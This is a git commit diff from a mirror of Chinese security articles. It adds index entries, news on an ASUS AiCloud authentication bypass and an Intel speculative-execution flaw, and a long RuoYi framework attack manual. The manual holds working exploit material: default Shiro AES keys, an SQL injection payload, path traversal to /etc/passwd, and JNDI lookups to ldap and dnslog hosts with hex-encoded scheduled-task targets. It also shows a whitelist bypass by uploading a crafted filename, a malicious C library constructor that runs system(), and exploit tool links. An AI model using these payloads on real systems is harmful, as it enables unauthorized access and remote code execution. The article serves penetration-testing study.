mirror of
https://github.com/gelusus/wxvl.git
synced 2025-08-13 03:17:22 +00:00
攻防实战之若依(RuoYi)框架漏洞战争手册、某OA代码审计之挖掘0day,未公开poc、新漏洞影响过去6年内所有英特尔处理器、华硕警告使用 AiCloud 的路由器存在严重的身份验证绕过漏洞、
This commit is contained in:
parent
c2eac26d51
commit
79e1559043
@ -14160,5 +14160,9 @@
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkzMTcwMTg1Mg==&mid=2247491478&idx=1&sn=45307902cab80959cdbf15462748ce9f": "装盟科技-家装ERP管理系统 Public.asmx SQL注入漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI0NzE4ODk1Mw==&mid=2652096235&idx=2&sn=ce6afa07cb19b00599fa4bde6294c4d5": "多个 Ivanti Endpoint Mobile Manager 存在远程执行代码漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247529870&idx=1&sn=f630cffc3eca33694ae38e9cc51b90d6": "CVE-2025-4427∕4428:Ivanti EPMM 远程代码执行 - 技术分析",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkzMTcwMTg1Mg==&mid=2247491486&idx=1&sn=d76973114389135c7d046bbe6caf0788": "装盟科技-家装ERP管理系统 Budget.asmx SQL注入漏洞"
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkzMTcwMTg1Mg==&mid=2247491486&idx=1&sn=d76973114389135c7d046bbe6caf0788": "装盟科技-家装ERP管理系统 Budget.asmx SQL注入漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg2ODYxMzY3OQ==&mid=2247519329&idx=1&sn=2ba90bbfa7582d6ef495b5b3bbf3ef82": "攻防实战之若依(RuoYi)框架漏洞战争手册",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650610790&idx=3&sn=92609abd1542c3029ec590f577cba88c": "某OA代码审计之挖掘0day,未公开poc",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg2NjY2MTI3Mg==&mid=2247499948&idx=2&sn=2b76d6e4e5a52b74a200b0541969554e": "新漏洞影响过去6年内所有英特尔处理器",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg3ODY0NTczMA==&mid=2247492780&idx=1&sn=9bd9be62e1ba7da954f1cc3396ce9d42": "华硕警告使用 AiCloud 的路由器存在严重的身份验证绕过漏洞"
|
||||
}
|
33
doc/2025-05/华硕警告使用 AiCloud 的路由器存在严重的身份验证绕过漏洞.md
Normal file
33
doc/2025-05/华硕警告使用 AiCloud 的路由器存在严重的身份验证绕过漏洞.md
Normal file
@ -0,0 +1,33 @@
|
||||
# 华硕警告使用 AiCloud 的路由器存在严重的身份验证绕过漏洞
|
||||
Rhinoer 犀牛安全 2025-05-17 16:00
|
||||
|
||||

|
||||
|
||||
华硕警告称,启用 AiCloud 的路由器存在身份验证绕过漏洞,该漏洞可能允许远程攻击者在设备上执行未经授权的功能。
|
||||
|
||||
该漏洞编号为CVE-2025-2492,级别为严重(CVSS v4 评分:9.2),可通过特制请求进行远程利用,且无需身份验证,因此特别危险。
|
||||
|
||||
该供应商的公告中写道:“某些华硕路由器固件系列存在不当的身份验证控制漏洞。”
|
||||
|
||||
此漏洞可能由精心设计的请求触发,可能导致未经授权的功能执行。
|
||||
|
||||
AiCloud 是许多华硕路由器内置的基于云的远程访问功能,可将它们转变为微型私有云服务器。
|
||||
|
||||
它允许用户从互联网上的任何地方访问连接到路由器的 USB 驱动器上存储的文件、远程流媒体、在家庭网络和其他云存储服务之间同步文件以及通过链接与他人共享文件。
|
||||
|
||||
AiCloud 中发现的漏洞影响范围广泛,华硕已针对多个固件分支发布了修复程序,包括 3.0.0.4_382 系列、3.0.0.4_386 系列、3.0.0.4_388 系列和 3.0.0.6_102 系列。
|
||||
|
||||
建议用户升级到其型号的最新固件版本,您可以在供应商的支持门户或产品查找页面上找到该版本。有关如何应用固件更新的详细说明,请参阅此处。
|
||||
|
||||
华硕还建议用户使用不同的密码来保护他们的无线网络和路由器管理页面,并确保密码至少有 10 个字符长,并且包含字母、数字和符号。
|
||||
|
||||
建议受影响的停产产品用户完全禁用 AiCloud 并关闭 WAN、端口转发、DDNS、VPN 服务器、DMZ、端口触发和 FTP 服务的互联网访问。
|
||||
|
||||
虽然没有关于 CVE-2025-2492 被主动利用或公开概念验证利用的报告,但攻击者通常利用这些漏洞来感染带有恶意软件的设备或将其招募到 DDoS 群中。
|
||||
|
||||
因此,强烈建议华硕路由器用户尽快升级到最新固件。
|
||||
|
||||
|
||||
信息来源:
|
||||
BleepingComputer
|
||||
|
@ -1,23 +1,17 @@
|
||||
# 攻防实战之若依(RuoYi)框架漏洞战争手册
|
||||
黑白之道 2025-05-16 01:54
|
||||
|
||||

|
||||
|
||||
原文首发在:奇安信攻防社区
|
||||
|
||||
https://forum.butian.net/share/4328
|
||||
Locks_ Z2O安全攻防 2025-05-17 14:00
|
||||
|
||||
当你在用若依时,黑客已经在用Shiro默认密钥弹你的Shell;当你还在纠结分页查询,攻击者已通过SQL注入接管数据库;而你以为安全的定时任务,不过是他们拿捏服务器的玩具。这份手册,带你用渗透的视角,解剖若依的每一处致命弱点——因为真正的安全,始于知晓如何毁灭它。
|
||||
# 0x00 前言
|
||||
|
||||

|
||||

|
||||
## 简介
|
||||
|
||||
Ruoyi(若依)是一款基于Spring Boot和Vue.js开发的快速开发平台。它提供了许多常见的后台管理系统所需的功能和组件,包括权限管理、定时任务、代码生成、日志管理等。Ruoyi的目标是帮助开发者快速搭建后台管理系统,提高开发效率。
|
||||
|
||||
若依有很多版本,其中使用最多的是Ruoyi单应用版本(RuoYi),Ruoyi前后端分离版本(RuoYi-Vue),Ruoyi微服务版本(RuoYi-Cloud),Ruoyi移动版本(RuoYi-App)。
|
||||
|
||||

|
||||

|
||||
## 配合ruoyi的服务:
|
||||
```
|
||||
alibaba druid alibaba nacos spring redis mysql minio fastjson shiro swagger-ui.html mybatis
|
||||
@ -40,25 +34,29 @@ web.body="若依后台管理系统"
|
||||
git clone https://gitee.com/y_project/RuoYi
|
||||
```
|
||||
|
||||

|
||||

|
||||
```
|
||||
cd RuoYi 切换版本git tag -l切换git checkout v4.5.1
|
||||
```
|
||||
|
||||

|
||||

|
||||

|
||||
|
||||
|
||||
接下来用idea搭建的
|
||||
|
||||
mysql正常用phpstudy搭建就行
|
||||
|
||||
日志存放路径需要修改
|
||||
|
||||

|
||||

|
||||
|
||||
配置mysql
|
||||
|
||||

|
||||

|
||||
|
||||

|
||||

|
||||

|
||||
|
||||
|
||||
启动即可,默认端口80
|
||||
@ -77,16 +75,16 @@ RuoYi<V-4.6.2
|
||||
|
||||
在配置文件中,能够看到shiro的密钥是在配置文件中的
|
||||
|
||||

|
||||

|
||||
|
||||
漏洞利用工具地址
|
||||
|
||||
https://github.com/SummerSec/ShiroAttack2
|
||||
- RuoYi-4.2版本使用的是shiro-1.4.2在该版本和该版本之后都需要勾选AES GCM模式。
|
||||
|
||||

|
||||

|
||||
|
||||

|
||||

|
||||
|
||||
<table><thead><tr style="box-sizing: border-box;background-color: rgb(255, 255, 255);border-top: 0.606061px solid rgb(216, 222, 228);"><th style="box-sizing: border-box;padding: 6px 13px;text-align: left;font-weight: 600;border-color: rgb(208, 215, 222);border-style: solid;border-width: 0.606061px;border-image: none 100% / 1 / 0 stretch;"><section><span leaf="">RuoYi 版本号</span></section></th><th style="box-sizing: border-box;padding: 6px 13px;text-align: left;font-weight: 600;border-color: rgb(208, 215, 222);border-style: solid;border-width: 0.606061px;border-image: none 100% / 1 / 0 stretch;"><section><span leaf="">对象版本的默认AES密钥</span></section></th></tr></thead><tbody><tr style="box-sizing: border-box;background-color: rgb(255, 255, 255);border-top: 0.606061px solid rgb(216, 222, 228);"><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(208, 215, 222);border-style: solid;border-width: 0.606061px;border-image: none 100% / 1 / 0 stretch;"><section><span leaf="">4.6.1-4.3.1</span></section></td><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(208, 215, 222);border-style: solid;border-width: 0.606061px;border-image: none 100% / 1 / 0 stretch;"><section><span leaf="">zSyK5Kp6PZAAjlT+eeNMlg==</span></section></td></tr><tr style="box-sizing: border-box;background-color: rgb(246, 248, 250);border-top: 0.606061px solid rgb(216, 222, 228);"><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(208, 215, 222);border-style: solid;border-width: 0.606061px;border-image: none 100% / 1 / 0 stretch;"><section><span leaf="">3.4-及以下</span></section></td><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(208, 215, 222);border-style: solid;border-width: 0.606061px;border-image: none 100% / 1 / 0 stretch;"><section><span leaf="">fCq+/xW488hMTCD+cmJ3aQ==</span></section></td></tr></tbody></table>
|
||||
- RuoYi-4.6.2版本开始就使用随机密钥的方式,而不使用固定密钥,若要使用固定密钥需要开发者自己指定密钥,因此4.6.2版本以后,在没有获取到密钥的请情况下无法再进行利用。
|
||||
@ -100,9 +98,16 @@ https://github.com/SummerSec/ShiroAttack2
|
||||
|
||||
Mybatis配置一般用#{},类似PreparedStatement的占位符效果,可以防止SQL注入。RuoYi则是采用了${}造成了SQL注入
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
跳转
|
||||
|
||||

|
||||

|
||||

|
||||
|
||||
|
||||
解释一下 ${params.dataScope}
|
||||
|
||||
${params.dataScope}
|
||||
@ -119,26 +124,36 @@ dataScope的值可以是一个根据用户角色动态生成的SQL片段,如
|
||||
|
||||
进入mapper层
|
||||
|
||||

|
||||

|
||||
|
||||
跳转到上级
|
||||
|
||||

|
||||

|
||||

|
||||
|
||||
|
||||
进入role查看信息
|
||||
|
||||

|
||||

|
||||

|
||||
|
||||
|
||||
查看功能
|
||||
|
||||

|
||||

|
||||

|
||||
|
||||
|
||||
params
|
||||
|
||||

|
||||

|
||||
|
||||

|
||||

|
||||
|
||||
根据路径
|
||||
|
||||

|
||||

|
||||

|
||||
|
||||
|
||||
执行代码
|
||||
@ -146,7 +161,7 @@ params
|
||||
¶ms[dataScope]=and extractvalue(1,concat(0x7e,(select user()),0x7e))
|
||||
```
|
||||
|
||||

|
||||

|
||||
### 注入点2 /role/export (<V-4.6.2)
|
||||
### 注入点3 /user/list (<V-4.6.2)
|
||||
### 注入点4 /user/list (<V-4.6.2)
|
||||
@ -183,7 +198,7 @@ RuoYi<4.5.1
|
||||
/common/download/resource?resource=/profile/../../../../etc/passwd/common/download/resource?resource=/profile/../../../../Windows/win.ini
|
||||
```
|
||||
|
||||

|
||||

|
||||
# 0x05 CVE-2023-27025 若依任意文件下载
|
||||
## 漏洞简介
|
||||
|
||||
@ -301,25 +316,26 @@ v4.7.8
|
||||
|
||||
使用phpstudy启动mysql
|
||||
|
||||

|
||||

|
||||
|
||||
创建数据库ry
|
||||
|
||||
导入sql到ry数据库中
|
||||
|
||||

|
||||

|
||||
|
||||

|
||||

|
||||
|
||||

|
||||

|
||||
|
||||
将ruoyi-admin下的application-druid.yml文件配置数据库账号密码
|
||||
|
||||

|
||||

|
||||
|
||||
启动成功
|
||||
|
||||

|
||||

|
||||

|
||||
|
||||
|
||||
若依漏洞复现环境搭建成功
|
||||
@ -327,20 +343,21 @@ v4.7.8
|
||||
adminadmin123
|
||||
```
|
||||
|
||||

|
||||

|
||||
## 0x05 漏洞复现
|
||||
|
||||
系统监控下定时任务中存在SQL注入漏洞
|
||||
|
||||

|
||||

|
||||
|
||||
在补丁中,使用了黑名单和白名单的策略。
|
||||
|
||||

|
||||

|
||||
|
||||
SQL注入漏洞点
|
||||
|
||||

|
||||

|
||||

|
||||
|
||||
|
||||
开始复现
|
||||
@ -363,7 +380,7 @@ javax.naming.InitialContext.lookup('ldap://dnslog')
|
||||
|
||||
https://www.bejson.com/convert/ox2str/
|
||||
|
||||

|
||||

|
||||
```
|
||||
6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f3132372e302e302e313a313338392f646573657269616c4a61636b736f6e2729
|
||||
```
|
||||
@ -380,7 +397,7 @@ genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 'Hack By 1u
|
||||
* * * * * ?
|
||||
```
|
||||
|
||||

|
||||

|
||||
|
||||
第二步:
|
||||
|
||||
@ -389,7 +406,7 @@ genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 'Hack By 1u
|
||||
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 'Hack By 1ue' WHERE job_id = 1;')
|
||||
```
|
||||
|
||||

|
||||

|
||||
|
||||
第三步:
|
||||
```
|
||||
@ -398,12 +415,14 @@ genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a61766178
|
||||
|
||||
创建任务
|
||||
|
||||

|
||||

|
||||

|
||||
|
||||
|
||||
执行一次
|
||||
|
||||

|
||||

|
||||

|
||||
|
||||
|
||||
执行被修改的任务之前需要开启JNDI
|
||||
@ -415,7 +434,8 @@ jdk版本要求1.8
|
||||
java -jar '.\JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar' -C calc -A 127.0.0.1
|
||||
```
|
||||
|
||||

|
||||

|
||||

|
||||
|
||||
|
||||
执行被修改的1任务
|
||||
@ -436,7 +456,7 @@ javax.naming.InitialContext.lookup('ldap://dnslog')
|
||||
|
||||
https://www.bejson.com/convert/ox2str/
|
||||
|
||||

|
||||

|
||||
```
|
||||
0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f7263793870732e646e736c6f672e636e2729
|
||||
```
|
||||
@ -444,28 +464,28 @@ https://www.bejson.com/convert/ox2str/
|
||||
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f3132372e302e302e313a313338392f646573657269616c4a61636b736f6e2729 WHERE job_id = 1;')
|
||||
```
|
||||
|
||||

|
||||

|
||||
|
||||
我们再来试试dnslog
|
||||
```
|
||||
javax.naming.InitialContext.lookup('ldap://rcy8ps.dnslog.cn')
|
||||
```
|
||||
|
||||

|
||||

|
||||
|
||||

|
||||

|
||||
|
||||

|
||||

|
||||
|
||||
工具使用:
|
||||
|
||||
https://github.com/charonlight/RuoYiExploitGUI
|
||||
|
||||

|
||||

|
||||
|
||||

|
||||

|
||||
|
||||

|
||||

|
||||
## 0x06 修复方式
|
||||
|
||||
1、升级版本。
|
||||
@ -488,11 +508,12 @@ org.yaml.snakeyaml.Yaml.load(’!!javax.script.ScriptEngineManager [!!java.net.U
|
||||
|
||||
关注两个函数 parse 和 parseObject JSONObject.parse
|
||||
|
||||

|
||||

|
||||
|
||||

|
||||

|
||||
|
||||

|
||||

|
||||

|
||||
|
||||
|
||||
开启 autotype
|
||||
@ -560,14 +581,15 @@ https://github.com/yangzongzhuan/RuoYi/releases
|
||||
|
||||
修改application中的文件路径及log存放路径
|
||||
|
||||

|
||||

|
||||
|
||||

|
||||

|
||||

|
||||
|
||||
|
||||
启动成功
|
||||
|
||||

|
||||

|
||||
## 漏洞分析
|
||||
|
||||
最新版本4.8 Ruoyi 后台⽬前限制
|
||||
@ -595,7 +617,8 @@ https://github.com/yangzongzhuan/RuoYi/releases
|
||||
/** * 定时任务白名单配置(仅允许访问的包名,如其他需要可以自行添加) */publicstaticfinalString[] JOB_WHITELIST_STR = { "com.ruoyi.quartz.task" }; /** * 定时任务违规的字符 */publicstaticfinalString[] JOB_ERROR_STR = { "java.net.URL", "javax.naming.InitialContext", "org.yaml.snakeyaml", "org.springframework", "org.apache", "com.ruoyi.common.utils.file", "com.ruoyi.common.config", "com.ruoyi.generator" }; }
|
||||
```
|
||||
|
||||

|
||||

|
||||

|
||||
|
||||
|
||||
JOB_WHITELIST_STR 这个也就是com.ruoyi.quartz.task 其实不⽤类名 包含在⾃符串⾥⾯就⾏ 这⾥是invokeTarget⽽不是beanPackageName
|
||||
@ -616,7 +639,7 @@ JOB_WHITELIST_STR 这个也就是com.ruoyi.quartz.task 其实不⽤类名 包含
|
||||
- **绕过思路**
|
||||
:
|
||||
|
||||

|
||||

|
||||
|
||||
**白名单检查(whiteList 方法)**
|
||||
```
|
||||
@ -632,21 +655,21 @@ publicstaticboolean whiteList(String invokeTarget) { String package
|
||||
需要满⾜以下条件
|
||||
**方法参数解析(getMethodParams)**
|
||||
|
||||

|
||||

|
||||
```
|
||||
publicstaticList<Object[]> getMethodParams(String invokeTarget) { String methodStr = StringUtils.substringBetween(invokeTarget, "(", ")"); if (StringUtils.isEmpty(methodStr)) { returnnull; } String[] methodParams = methodStr.split(",(?=([^\"']*[\"'][^\"']*[\"'])*[^\"']*$)"); List<Object[]> classs = new LinkedList<>(); for (int i = 0; i < methodParams.length; i++) { String str = StringUtils.trimToEmpty(methodParams[i]); // String字符串类型,以'或"开头 if (StringUtils.startsWithAny(str, "'", "\"")) { classs.add(newObject[] { StringUtils.substring(str, 1, str.length() - 1), String.class }); } // boolean布尔类型,等于true或者false elseif ("true".equalsIgnoreCase(str) || "false".equalsIgnoreCase(str)) { classs.add(newObject[] { Boolean.valueOf(str), Boolean.class }); } // long长整形,以L结尾 elseif (StringUtils.endsWith(str, "L")) { classs.add(newObject[] { Long.valueOf(StringUtils.substring(str, 0, str.length() - 1)), Long.class }); } // double浮点类型,以D结尾 elseif (StringUtils.endsWith(str, "D")) { classs.add(newObject[] { Double.valueOf(StringUtils.substring(str, 0, str.length() - 1)), Double.class }); } // 其他类型归类为整形 else { classs.add(newObject[] { Integer.valueOf(str), Integer.class }); } } return classs; }
|
||||
```
|
||||
- **限制**
|
||||
:参数类型被强制约束为基本类型,无法传递复杂对象。
|
||||
|
||||

|
||||

|
||||
```
|
||||
/** * 执行方法 * * @param sysJob 系统任务 */publicstaticvoid invokeMethod(SysJob sysJob) throws Exception{ String invokeTarget = sysJob.getInvokeTarget(); String beanName = getBeanName(invokeTarget); String methodName = getMethodName(invokeTarget); List<Object[]> methodParams = getMethodParams(invokeTarget); if (!isValidClassName(beanName)) { Object bean = SpringUtils.getBean(beanName); invokeMethod(bean, methodName, methodParams); } else { Object bean = Class.forName(beanName).getDeclaredConstructor().newInstance(); invokeMethod(bean, methodName, methodParams); } }
|
||||
```
|
||||
|
||||
传递的参数只能是其中的这些类型 通过 , 进⾏分割。substringBetween获取的是() ⾥⾯ 不能继续包含 )了会截断
|
||||
|
||||

|
||||

|
||||
```
|
||||
publicstaticString substringBetween(finalString str, finalString open, finalString close) { if (!ObjectUtils.allNotNull(str, open, close)) { returnnull; } finalint start = str.indexOf(open); if (start != INDEX_NOT_FOUND) { finalint end = str.indexOf(close, start + open.length()); if (end != INDEX_NOT_FOUND) { return str.substring(start + open.length(), end); } } returnnull; }
|
||||
```
|
||||
@ -655,75 +678,81 @@ publicstaticString substringBetween(finalString str, finalString open, fina
|
||||
|
||||
这⾥反射的时候还需要注意 需要满⾜ 存在⼀个参构造 且都是public的
|
||||
|
||||

|
||||

|
||||
```
|
||||
Object bean = Class.forName(beanName).getDeclaredConstructor().newInstance();
|
||||
```
|
||||
#### 计划任务分析
|
||||
|
||||

|
||||

|
||||
|
||||
根据提交数据包锁定后端路由
|
||||
|
||||

|
||||

|
||||
|
||||

|
||||

|
||||

|
||||
|
||||
|
||||
调试看一下具体做了什么
|
||||
|
||||
前几个都是在判断是否有包含rmi ldap http关键词,禁止对这些协议进行调用
|
||||
|
||||

|
||||

|
||||

|
||||
|
||||
|
||||
还判断了是否有一些黑名单中的类
|
||||
|
||||

|
||||

|
||||

|
||||
|
||||
|
||||
进入白名单的判断
|
||||
|
||||

|
||||

|
||||

|
||||
|
||||
|
||||
提取出调用的类名,判断其中是否包含白名单字符串
|
||||
|
||||

|
||||

|
||||
|
||||
白名单字符串为com.ruoyi.quartz.task
|
||||
|
||||

|
||||

|
||||
|
||||
注意这里是用正则去匹配的,所以该字符串在任意位置都可以,所以存在可以绕过的可能
|
||||
|
||||

|
||||

|
||||

|
||||
|
||||
|
||||
后续就会进入正常的j保存计划任务流程
|
||||
|
||||

|
||||

|
||||

|
||||
|
||||
|
||||
当启动任务时,会调用方法
|
||||
|
||||

|
||||

|
||||
|
||||
获取需要调用的类名方法名参数值
|
||||
|
||||

|
||||

|
||||
|
||||
在获取方法参数时进行了处理,只允许为字符串/布尔/长整/浮点/整形,无法传递类对象
|
||||
|
||||

|
||||

|
||||
|
||||
接着会实例化该类,反射调用其方法
|
||||
|
||||

|
||||

|
||||
|
||||
该方法为public修饰
|
||||
|
||||

|
||||

|
||||
|
||||
我们想要利用需要达成的是
|
||||
- 使用的类不在黑名单中
|
||||
@ -736,32 +765,33 @@ Object bean = Class.forName(beanName).getDeclaredConstructor().newInstance();
|
||||
|
||||
而在ruoyi中存在一个文件上传点
|
||||
|
||||

|
||||

|
||||
|
||||
我们可以随便上传一个文件看看
|
||||
|
||||

|
||||

|
||||
|
||||

|
||||

|
||||

|
||||
|
||||
|
||||
那么我们可以上传一个名字包含com.ruoyi.quartz.task字符串的文件
|
||||
|
||||

|
||||

|
||||
## 漏洞复现
|
||||
|
||||
在java中存在一种机制叫做JNI,可以通过加载外部链接库,从而执行其中的<font style="color:rgba(0, 0, 0, 0.85);">构造函数</font>
|
||||
|
||||
而com.sun.glass.utils.NativeLibLoader的loadLibrary方法就可以去加载链接库,也是public修饰
|
||||
|
||||

|
||||

|
||||
```
|
||||
POST /common/upload HTTP/1.1Host: 10.40.107.67Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: _tea_utm_cache_10000007=undefined; java-chains-token-key=admin_token; JSESSIONID=b414f17a-7363-47d9-b164-3d0532a09b1cx-forwarded-for: 127.0.0.1Connection: closeContent-Type: multipart/form-data; boundary=00content0boundary00Content-Length: 167--00content0boundary00Content-Disposition: form-data; name="file"; filename="com.ruoyi.quartz.task.txt"Content-Type: image/jpgsuccess--00content0boundary00--
|
||||
```
|
||||
|
||||

|
||||

|
||||
|
||||

|
||||

|
||||
```
|
||||
cat calc.c #include <stdlib.h>__attribute__((constructor))staticvoid run() {system("open -a Calculator");}
|
||||
```
|
||||
@ -769,16 +799,39 @@ cat calc.c #include <stdlib.h>__attribute__((constructor))staticvoid run() {sy
|
||||
POST /common/upload HTTP/1.1Host: 10.40.107.67Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: _tea_utm_cache_10000007=undefined; java-chains-token-key=admin_token; JSESSIONID=b414f17a-7363-47d9-b164-3d0532a09b1cx-forwarded-for: 127.0.0.1Connection: closeContent-Type: multipart/form-data; boundary=00content0boundary00Content-Length: 167--00content0boundary00Content-Disposition: form-data; name="file"; filename="com.ruoyi.quartz.task.txt"Content-Type: image/jpg二进制恶意代码--00content0boundary00--
|
||||
```
|
||||
|
||||

|
||||

|
||||

|
||||
|
||||
|
||||
注意他会自动在后面添加dylib等后缀,在不同的系统中可能有不同的后缀,并且要注意架构问题
|
||||
|
||||
原文:https://forum.butian.net/share/4328
|
||||
|
||||
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
|
||||
欢迎师傅们加入
|
||||
内部网络安全学习圈子
|
||||
。
|
||||
圈子提供三大板块的内容:
|
||||
|
||||
如侵权请私聊我们删文
|
||||
|
||||
|
||||
**END**
|
||||
1、网络安全0.1-1学习:每周发布学习任务,由浅入深,循序渐进,从常见的
|
||||
Web漏洞原理与利用、业务逻辑漏洞与挖掘、
|
||||
SRC挖掘、到WAF绕过、代码审计、钓鱼与免杀,再到LinuxWindows内网、提权、权限维持、隧道代理、域渗透、云安全、AI安全,层层递进。
|
||||
会发布相应的参考资料及建议,成员自行学习实践,并会根据每周任务选取1-3位完成优秀的成员,进行红包奖励。
|
||||
|
||||
2、SRC漏洞挖掘专项:内容包含
|
||||
src漏洞知识库、
|
||||
src挖掘技巧、src视频教程等,一起学习赚赏金技巧
|
||||
|
||||
3、常态化内容:
|
||||
日常分享优质学习资源与攻防渗透技巧,包括但不限于红蓝安全攻防、免杀、SRC挖掘技巧、攻防渗透tips、视频教程、手册、学习路线,针对网络安全成员的普遍水平,并为星友提供了教程方法技巧tips等等。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
此前的一下学习记录:
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
|
56
doc/2025-05/新漏洞影响过去6年内所有英特尔处理器.md
Normal file
56
doc/2025-05/新漏洞影响过去6年内所有英特尔处理器.md
Normal file
@ -0,0 +1,56 @@
|
||||
# 新漏洞影响过去6年内所有英特尔处理器
|
||||
原创 铸盾安全 河南等级保护测评 2025-05-17 16:00
|
||||
|
||||
英特尔处理器中新发现的一类漏洞称为分支预测器竞争条件 (BPRC),它允许攻击者系统地从共享同一硬件的其他用户的缓存和随机存取存储器 (RAM) 中提取敏感数据。
|
||||
|
||||
该漏洞影响了过去六年发布的所有英特尔处理器(包括消费设备和云服务器基础设施中的处理器),利用了旨在加速计算性能的推测执行技术。
|
||||
|
||||
苏黎世联邦理工学院计算机安全组 (COMSEC) 的研究人员证明,恶意行为者可以利用 BPRC 绕过处理器级别的特权屏障,以超过每秒 5,000 字节的速度实现未经授权的内存内容读取。
|
||||
|
||||
这一缺陷对多租户云环境构成了严重风险,因为共享硬件资源会增加跨用户数据泄露的可能性。
|
||||
## 推测执行及其固有的安全权衡
|
||||
|
||||
现代处理器采用推测执行来预测和预先计算可能的指令,从而减少程序执行的延迟。
|
||||
|
||||
通过预测代码执行路径中的分支(例如条件语句),CPU 即使在从速度较慢的内存系统提取数据导致延迟的情况下也能保持计算吞吐量。然而,这种性能优化会创建攻击者可以利用的侧信道。
|
||||
|
||||
苏黎世联邦理工学院 COMSEC 负责人 Kaveh Razavi指出,投机技术在用户上下文切换期间的权限检查中引入了时间间隙,“从根本上破坏了数据安全”。
|
||||
|
||||
BPRC 漏洞遵循了Spectre (2017)、Meltdown (2017) 和 Retbleed (2022)等早期漏洞的模式,这些漏洞都利用推测执行来访问受保护的内存区域。这些反复出现的问题凸显了 CPU 架构在速度和安全性之间平衡方面的系统性缺陷。
|
||||
|
||||
BPRC 漏洞源于对 Retbleed 补丁残留影响的调查。Razavi 团队的前博士生 Johannes Wikner 检测到,无论英特尔采取何种 Retbleed 缓解措施,异常缓存信号仍然存在。
|
||||
|
||||
BPRC 研究的首席分析师 Sandro Rüegge 将这些信号追溯到权限转换期间发生的纳秒级竞争条件。
|
||||
|
||||
当处理器在用户或进程之间切换时,它会暂时暂停推测执行以更新特权权限。然而,BPRC 暴露出一个关键缺陷:权限更新比推测指令预计算滞后几纳秒。
|
||||
|
||||
攻击者可以在此窗口期间注入触发推测执行的代码,导致 CPU 错误地应用过时的权限。这会导致未经授权访问为高权限用户或进程保留的内存区域。
|
||||
|
||||

|
||||
|
||||
通过重复此类攻击,攻击者可以连续提取内存内容。Rüegge 的实验表明,单个攻击周期只能检索一个字节,但快速迭代可以达到每秒 5,000 多个字节——足以在几分钟内窃取加密密钥或身份验证令牌等敏感数据。
|
||||
|
||||
由于依赖共享硬件,云服务提供商面临着更高的风险。在同一物理服务器上运行的虚拟机 (VM) 或容器通常共享 CPU 资源,这为跨租户攻击创造了机会。
|
||||
|
||||
恶意行为者可以部署受感染的虚拟机来从同地虚拟机收集数据,从而绕过虚拟化层安全措施。
|
||||
|
||||
使用受影响的英特尔至强处理器的企业数据中心和公共云平台尤其容易受到攻击。攻击媒介已从传统服务器扩展到边缘计算节点和物联网设备,并利用英特尔的凌动 (Atom) 或酷睿 (Core) 系列芯片。
|
||||
|
||||
英特尔于 2024 年底发布了微代码更新以解决 BPRC 问题,需要通过 BIOS 或操作系统补丁进行部署。
|
||||
|
||||
然而,拉扎维强调,这种修复只是权宜之计:“推测技术中新发现的一系列漏洞表明存在根本的架构缺陷”。
|
||||
|
||||
每个补丁都会带来性能开销,从而削弱推测执行旨在提供的速度优势。
|
||||
|
||||
对于用户来说,安装最新的Windows、Linux或固件更新仍然至关重要。云提供商必须确保虚拟机管理程序和主机系统及时应用这些补丁。
|
||||
|
||||
然而,与 Spectre 和 Meltdown 一样,彻底缓解可能需要重新设计硬件,而行业对传统 x86 架构的依赖使前景变得复杂。
|
||||
|
||||
BPRC 强调处理器架构范式转变的必要性。学术界和行业团体正在探索替代方案,例如顺序执行(牺牲部分性能来换取确定性安全性)以及硬件强制隔离机制,例如英特尔的软件保护扩展 (SGX)。然而,此类设计的广泛采用仍需数年时间。
|
||||
|
||||
在此之前,各组织必须优先考虑漏洞监控和分层防御。定期审核固件和微代码,并结合针对缓存异常进行调整的入侵检测系统,可以降低风险。
|
||||
|
||||
对于高风险环境,将关键工作负载迁移到非英特尔平台虽然对许多人来说不切实际,但可能有必要。
|
||||
|
||||
正如 Razavi 总结的那样:“性能优化与安全之间的军备竞赛正在升级。如果不进行架构彻底改革,我们将继续一个补丁一个补丁地应对推测执行缺陷。”
|
||||
|
